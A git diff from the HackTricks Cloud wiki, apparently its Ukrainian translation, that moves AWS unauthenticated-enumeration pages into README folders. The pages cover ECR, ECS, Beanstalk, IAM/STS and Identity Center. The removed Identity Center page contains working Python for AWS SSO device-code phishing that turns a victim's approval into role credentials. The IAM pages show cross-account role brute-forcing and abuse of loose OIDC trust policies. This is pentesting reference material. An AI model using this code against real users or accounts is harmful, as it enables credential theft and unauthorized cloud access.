+Якщо ви знайдете snapshot, який може бути відновлений будь-ким, обов'язково перегляньте [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) для інструкцій щодо завантаження та вилучення даних зі snapshot. #### Шаблон публічного URL ```bash @@ -47,8 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` -### Перерахунок EC2 інстансів з публічним IP +### Перелічити EC2 інстанси з публічною IP-адресою ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md deleted file mode 100644 index e21f69545..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - ECR Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Публічні репозиторії реєстру (зображення) - -Як згадувалося в розділі ECS Enum, публічний реєстр є **доступним для всіх** і використовує формат **`public.ecr.aws//`**. Якщо зловмисник знайде URL публічного репозиторію, він може **завантажити зображення та шукати чутливу інформацію** в метаданих та вмісті зображення. -```bash -aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text -``` -> [!WARNING] -> Це також може статися в **приватних реєстрах**, де політика реєстру або політика репозиторію **надає доступ, наприклад, до `"AWS": "*"`**. Будь-хто з обліковим записом AWS може отримати доступ до цього репозиторію. - -### Перерахунок приватного репозиторію - -Інструменти [**skopeo**](https://github.com/containers/skopeo) та [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) можуть бути використані для перерахунку доступних репозиторіїв у приватному реєстрі. -```bash -# Get image names -skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' -crane ls | sed 's/ .*//' -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md new file mode 100644 index 000000000..6ab8b5225 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md @@ -0,0 +1,30 @@ +# AWS - ECR Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Публічні репозиторії реєстру (образи) + +Як зазначено в розділі ECS Enum, публічний реєстр є **доступним для будь-кого** і має формат **`public.ecr.aws//`**. Якщо attacker знайде URL публічного репозиторію, він може **завантажити образ та шукати чутливу інформацію** у метаданих і вмісті образу. +```bash +aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text +``` +> [!WARNING] +> Це також може статися в **private registries**, де registry policy або repository policy **надають доступ, наприклад до `"AWS": "*"`**. Будь-хто з обліковим записом AWS може отримати доступ до цього repo. + +### Enumerate Private Repo + +The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry. +```bash +# Get image names +skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' +crane ls | sed 's/ .*//' +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md deleted file mode 100644 index c77065710..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - ECS Універсальний Перелік Без Аутентифікації - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Публічно Доступна Група Безпеки або Балансувальник Навантаження для ECS Сервісів - -Неправильно налаштована група безпеки, яка **дозволяє вхідний трафік з інтернету (0.0.0.0/0 або ::/0)** до сервісів Amazon ECS, може піддати ресурси AWS атакам. -```bash -# Example of detecting misconfigured security group for ECS services -aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' - -# Example of detecting a publicly accessible load balancer for ECS services -aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md new file mode 100644 index 000000000..b7f86baf2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md @@ -0,0 +1,23 @@ +# AWS - ECS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Публічно доступний Security Group або Load Balancer для ECS Services + +Неправильно налаштований security group, який **дозволяє вхідний трафік з інтернету (0.0.0.0/0 або ::/0)** до Amazon ECS services, може піддати AWS resources атакам. +```bash +# Example of detecting misconfigured security group for ECS services +aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' + +# Example of detecting a publicly accessible load balancer for ECS services +aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md deleted file mode 100644 index e8a0dba93..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ /dev/null @@ -1,35 +0,0 @@ -# AWS - Elastic Beanstalk Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### Веб-вразливість - -Зверніть увагу, що за замовчуванням середовища Beanstalk мають **Metadatav1 вимкнено**. - -Формат веб-сторінок Beanstalk - **`https://-env..elasticbeanstalk.com/`** - -### Небезпечні правила групи безпеки - -Неправильно налаштовані правила групи безпеки можуть піддати екземпляри Elastic Beanstalk публічному доступу. **Занадто дозволяючі вхідні правила, такі як дозволення трафіку з будь-якої IP-адреси (0.0.0.0/0) на чутливих портах, можуть дозволити зловмисникам отримати доступ до екземпляра**. - -### Публічно доступний балансувальник навантаження - -Якщо середовище Elastic Beanstalk використовує балансувальник навантаження і балансувальник налаштований на публічний доступ, зловмисники можуть **надсилати запити безпосередньо до балансувальника навантаження**. Хоча це може не бути проблемою для веб-додатків, які призначені для публічного доступу, це може бути проблемою для приватних додатків або середовищ. - -### Публічно доступні S3 бакети - -Додатки Elastic Beanstalk часто зберігаються в S3 бакетах перед розгортанням. Якщо S3 бакет, що містить додаток, є публічно доступним, зловмисник може **завантажити код додатка та шукати вразливості або чутливу інформацію**. - -### Перерахунок публічних середовищ -```bash -aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md new file mode 100644 index 000000000..7c56e6ab6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md @@ -0,0 +1,35 @@ +# AWS - Elastic Beanstalk Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +For more information check: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### Веб-уразливість + +Зауважте, що за замовчуванням середовища Beanstalk мають **Metadatav1 disabled**. + +Формат веб-сторінок Beanstalk: **`https://-env..elasticbeanstalk.com/`** + +### Неправильно налаштовані правила групи безпеки + +Неправильно налаштовані правила групи безпеки можуть зробити інстанси Elastic Beanstalk доступними публічно. **Надмірно дозволяючі правила вхідного трафіку, наприклад дозвіл трафіку з будь-якої IP-адреси (0.0.0.0/0) на чутливих портах, можуть дозволити зловмисникам отримати доступ до інстансу**. + +### Публічно доступний балансувальник навантаження + +Якщо середовище Elastic Beanstalk використовує балансувальник навантаження і він налаштований як публічно доступний, зловмисники можуть **направляти запити безпосередньо до балансувальника**. Хоча це може не бути проблемою для веб-застосунків, призначених для публічного доступу, це може становити проблему для приватних застосунків або середовищ. + +### Публічно доступні S3 buckets + +Застосунки Elastic Beanstalk часто зберігаються в S3 buckets перед деплоєм. Якщо S3 bucket, що містить застосунок, є публічно доступним, атакуючий може **завантажити код застосунку та шукати уразливості або чутливу інформацію**. + +### Перерахування публічних середовищ +```bash +aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md similarity index 52% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md index 42d79e8fe..b6dea8caa 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md @@ -1,10 +1,10 @@ # AWS - Elasticsearch Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -### Шаблон публічного URL +### Шаблон публічної URL-адреси ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md deleted file mode 100644 index af4f77572..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ /dev/null @@ -1,162 +0,0 @@ -# AWS - IAM & STS Універсальна Перевірка - -{{#include ../../../banners/hacktricks-training.md}} - -## Перерахунок ролей та імен користувачів в обліковому записі - -### ~~Брутфорс для припущення ролі~~ - -> [!CAUTION] -> **Ця техніка більше не працює**, оскільки, незалежно від того, чи існує роль, ви завжди отримуєте цю помилку: -> -> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` -> -> Ви можете **перевірити це, запустивши**: -> -> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` - -Спроба **припустити роль без необхідних дозволів** викликає повідомлення про помилку AWS. Наприклад, якщо немає авторизації, AWS може повернути: -```ruby -An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS -``` -Це повідомлення підтверджує існування ролі, але вказує на те, що її політика припущення ролі не дозволяє вам її припустити. На відміну від цього, спроба **припустити неіснуючу роль призводить до іншої помилки**: -```less -An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole -``` -Цей метод **розрізнення між існуючими та неіснуючими ролями** застосовується навіть між різними AWS обліковими записами. З дійсним ідентифікатором облікового запису AWS та цільовим словником можна перерахувати ролі, присутні в обліковому записі, не стикаючись з жодними вродженими обмеженнями. - -Ви можете використовувати цей [скрипт для перерахунку потенційних принципалів](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum), зловживаючи цією проблемою. - -### Політики довіри: Брутфорс крос-облікові ролі та користувачі - -Налаштування або оновлення **політики довіри IAM ролі передбачає визначення, які ресурси або сервіси AWS можуть приймати цю роль** та отримувати тимчасові облікові дані. Якщо вказаний ресурс у політиці **існує**, політика довіри зберігається **успішно**. Однак, якщо ресурс **не існує**, генерується **помилка**, що вказує на те, що було надано недійсний принципал. - -> [!WARNING] -> Зверніть увагу, що в цьому ресурсі ви можете вказати крос-облікову роль або користувача: -> -> - `arn:aws:iam::acc_id:role/role_name` -> - `arn:aws:iam::acc_id:user/user_name` - -Це приклад політики: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::216825089941:role/Test" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -#### GUI - -Це **помилка**, яку ви знайдете, якщо використовуєте **роль, яка не існує**. Якщо роль **існує**, політика буде **збережена** без жодних помилок. (Помилка стосується оновлення, але також працює при створенні) - -![](<../../../images/image (153).png>) - -#### CLI -```bash -### You could also use: aws iam update-assume-role-policy -# When it works -aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json -{ -"Role": { -"Path": "/", -"RoleName": "Test-Role", -"RoleId": "AROA5ZDCUJS3DVEIYOB73", -"Arn": "arn:aws:iam::947247140022:role/Test-Role", -"CreateDate": "2022-05-03T20:50:04Z", -"AssumeRolePolicyDocument": { -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::316584767888:role/account-balance" -}, -"Action": [ -"sts:AssumeRole" -] -} -] -} -} -} - -# When it doesn't work -aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json -An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" -``` -Ви можете автоматизувати цей процес за допомогою [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - -- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` - -Наше використання [Pacu](https://github.com/RhinoSecurityLabs/pacu): - -- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- Роль `admin`, використана в прикладі, є **роллю у вашому обліковому записі, яка може бути використана** pacu для створення політик, які йому потрібні для перерахунку - -### Privesc - -У випадку, якщо роль була неправильно налаштована і дозволяє будь-кому її приймати: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -Атакуючий міг би просто припустити це. - -## Федерація OIDC третьої сторони - -Уявіть, що вам вдалося прочитати **Github Actions workflow**, який отримує доступ до **ролі** всередині **AWS**.\ -Ця довіра може надати доступ до ролі з наступною **політикою довіри**: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" -}, -"Action": "sts:AssumeRoleWithWebIdentity", -"Condition": { -"StringEquals": { -"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" -} -} -} -] -} -``` -Ця політика довіри може бути правильною, але **відсутність додаткових умов** повинна викликати у вас недовіру.\ -Це пов'язано з тим, що попередню роль може прийняти **КОЖЕН з Github Actions**! Ви повинні вказати в умовах також інші речі, такі як назва організації, назва репозиторію, середовище, гілка... - -Ще однією потенційною помилкою конфігурації є **додавання умови** на зразок наступної: -```json -"StringLike": { -"token.actions.githubusercontent.com:sub": "repo:org_name*:*" -} -``` -Зверніть увагу на **додатковий символ** (\*) перед **двоеточі** (:). Ви можете створити організацію, таку як **org_name1**, і **прийняти роль** з Github Action. - -## Посилання - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md new file mode 100644 index 000000000..63b1de52e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md @@ -0,0 +1,162 @@ +# AWS - IAM & STS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Перерахувати ролі та імена користувачів в обліковому записі + +### ~~Assume Role Brute-Force~~ + +> [!CAUTION] +> **Ця техніка більше не працює**, оскільки незалежно від того, чи існує роль, ви завжди отримаєте цю помилку: +> +> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` +> +> Ви можете **перевірити це, запустивши**: +> +> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` + +Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return: +```ruby +An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS +``` +Це повідомлення підтверджує існування role, але вказує, що assume role policy цього role не дозволяє вам його assume. Натомість спроба **assume a non-existent role leads to a different error**: +```less +An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole +``` +Цікавим є те, що цей метод **визначення існуючих та неіснуючих ролей** застосовний навіть у різних облікових записах AWS. Маючи дійсний AWS account ID та цільовий wordlist, можна перерахувати ролі в обліковому записі без жодних вбудованих обмежень. + +Ви можете використати цей [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) для зловживання цією вразливістю. + +### Політики довіри: Brute-Force Cross Account ролі та користувачі + +Налаштування або оновлення **політики довіри ролі IAM передбачає визначення, які ресурси або сервіси AWS мають право assume цю роль** та отримати тимчасові облікові дані. Якщо зазначений ресурс у політиці **існує**, політика довіри зберігається **успішно**. Однак, якщо ресурс **не існує**, генерується **помилка**, що вказує на те, що надано недійсний principal. + +> [!WARNING] +> Зауважте, що в цьому ресурсі можна вказати міжакаунтову роль або користувача: +> +> - `arn:aws:iam::acc_id:role/role_name` +> - `arn:aws:iam::acc_id:user/user_name` + +Ось приклад політики: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +#### Графічний інтерфейс (GUI) + +Ось **помилка**, яку ви знайдете, якщо використовуєте **роль, яка не існує**. Якщо роль **існує**, політика буде **збережена** без будь-яких помилок. (Це повідомлення про помилку для оновлення, але воно також проявляється під час створення) + +![](<../../../images/image (153).png>) + +#### Інтерфейс командного рядка (CLI) +```bash +### You could also use: aws iam update-assume-role-policy +# When it works +aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json +{ +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} +} + +# When it doesn't work +aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json +An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" +``` +Ви можете автоматизувати цей процес за допомогою [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) + +- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` + +Або використовуючи [Pacu](https://github.com/RhinoSecurityLabs/pacu): + +- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` +- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` +- Роль `admin`, використана в прикладі, — це **роль у вашому акаунті, яку pacu буде імітувати**, щоб створити політики, необхідні для виконання enumeration + +### Privesc + +У випадку, якщо роль була неправильно налаштована і дозволяє будь-кому приймати її: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +Атакувальник може просто взяти її на себе. + +## Федерація OIDC третьої сторони + +Уявіть, що вам вдалося прочитати **Github Actions workflow**, який отримує доступ до **role** всередині **AWS**.\ +Ця довіра може надати доступ до ролі з наступною **trust policy**: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +Ця trust policy може бути правильною, але **відсутність додаткових умов** має викликати у вас недовіру.\ +Це тому, що попередню роль може взяти на себе **будь-хто з Github Actions**! Ви повинні вказати в умовах також інші речі такі як org name, repo name, env, brach... + +Інша потенційна misconfiguration — це **додати умову** на кшталт наступної: +```json +"StringLike": { +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" +} +``` +Зауважте, що **wildcard** (\*) стоїть перед **двоеточчям** (:). Ви можете створити org, наприклад **org_name1**, і **assume the role** через Github Action. + +## Посилання + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md deleted file mode 100644 index 88fdd3cd6..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ /dev/null @@ -1,123 +0,0 @@ -# AWS - Identity Center & SSO Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS Device Code Phishing - -Спочатку запропоновано в [**цьому блозі**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), можливо надіслати **посилання** користувачу, який використовує AWS SSO, що, якщо **користувач прийме**, зловмисник зможе отримати **токен для видавання себе за користувача** та отримати доступ до всіх ролей, до яких користувач має доступ у **Identity Center**. - -Для виконання цієї атаки необхідні такі умови: - -- Жертва повинна використовувати **Identity Center** -- Зловмисник повинен знати **субдомен**, який використовує жертва `.awsapps.com/start` - -Лише з цією інформацією **зловмисник зможе надіслати посилання користувачу**, яке, якщо **прийняте**, надасть **зловмиснику доступ до облікового запису AWS** користувача. - -### Attack - -1. **Finding the subdomain** - -Перший крок зловмисника - дізнатися, який субдомен використовує компанія жертви у своєму Identity Center. Це можна зробити за допомогою **OSINT** або **вгадування + BF**, оскільки більшість компаній використовуватимуть свою назву або її варіацію тут. - -З цією інформацією можливо дізнатися регіон, в якому було налаштовано Identity Center: -```bash -curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' -"region":"us-east-1 -``` -2. **Згенеруйте посилання для жертви та надішліть його** - -Запустіть наступний код, щоб згенерувати посилання для входу в AWS SSO, щоб жертва могла аутентифікуватися.\ -Для демонстрації запустіть цей код у консолі python і не виходьте з неї, оскільки пізніше вам знадобляться деякі об'єкти для отримання токена: -```python -import boto3 - -REGION = 'us-east-1' # CHANGE THIS -AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS - -sso_oidc = boto3.client('sso-oidc', region_name=REGION) -client = sso_oidc.register_client( -clientName = 'attacker', -clientType = 'public' -) - -client_id = client.get('clientId') -client_secret = client.get('clientSecret') -authz = sso_oidc.start_device_authorization( -clientId=client_id, -clientSecret=client_secret, -startUrl=AWS_SSO_START_URL -) - -url = authz.get('verificationUriComplete') -deviceCode = authz.get('deviceCode') -print("Give this URL to the victim: " + url) -``` -Надішліть згенероване посилання жертві, використовуючи свої чудові навички соціальної інженерії! - -3. **Чекайте, поки жертва його прийме** - -Якщо жертва **вже увійшла в AWS**, їй просто потрібно буде прийняти надання дозволів, якщо ні, їй потрібно буде **увійти в систему, а потім прийняти надання дозволів**.\ -Ось як виглядає запит сьогодні: - -
- -4. **Отримайте токен доступу SSO** - -Якщо жертва прийняла запит, виконайте цей код, щоб **згенерувати токен SSO, видаючи себе за користувача**: -```python -token_response = sso_oidc.create_token( -clientId=client_id, -clientSecret=client_secret, -grantType="urn:ietf:params:oauth:grant-type:device_code", -deviceCode=deviceCode -) -sso_token = token_response.get('accessToken') -``` -Токен доступу SSO є **дійсним протягом 8 годин**. - -5. **Видати себе за користувача** -```python -sso_client = boto3.client('sso', region_name=REGION) - -# List accounts where the user has access -aws_accounts_response = sso_client.list_accounts( -accessToken=sso_token, -maxResults=100 -) -aws_accounts_response.get('accountList', []) - -# Get roles inside an account -roles_response = sso_client.list_account_roles( -accessToken=sso_token, -accountId= -) -roles_response.get('roleList', []) - -# Get credentials over a role - -sts_creds = sso_client.get_role_credentials( -accessToken=sso_token, -roleName=, -accountId= -) -sts_creds.get('roleCredentials') -``` -### Фішинг непіддатливого MFA - -Цікаво знати, що попередня атака **працює навіть якщо використовується "непіддатливий MFA" (webAuth)**. Це тому, що попередній **робочий процес ніколи не покидає використовуваний домен OAuth**. На відміну від інших атак фішингу, де користувачеві потрібно підмінити домен входу, у випадку, коли робочий процес коду пристрою підготовлений, **код відомий пристрою**, і користувач може увійти навіть на іншій машині. Якщо підтвердити запит, пристрій, просто **знаючи початковий код**, зможе **отримати облікові дані** для користувача. - -Для отримання додаткової інформації [**перегляньте цей пост**](https://mjg59.dreamwidth.org/62175.html). - -### Автоматичні інструменти - -- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) -- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) - -## Посилання - -- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) -- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) -- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) -- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md new file mode 100644 index 000000000..4d8169978 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md @@ -0,0 +1,123 @@ +# AWS - Identity Center & SSO Unauthenticated 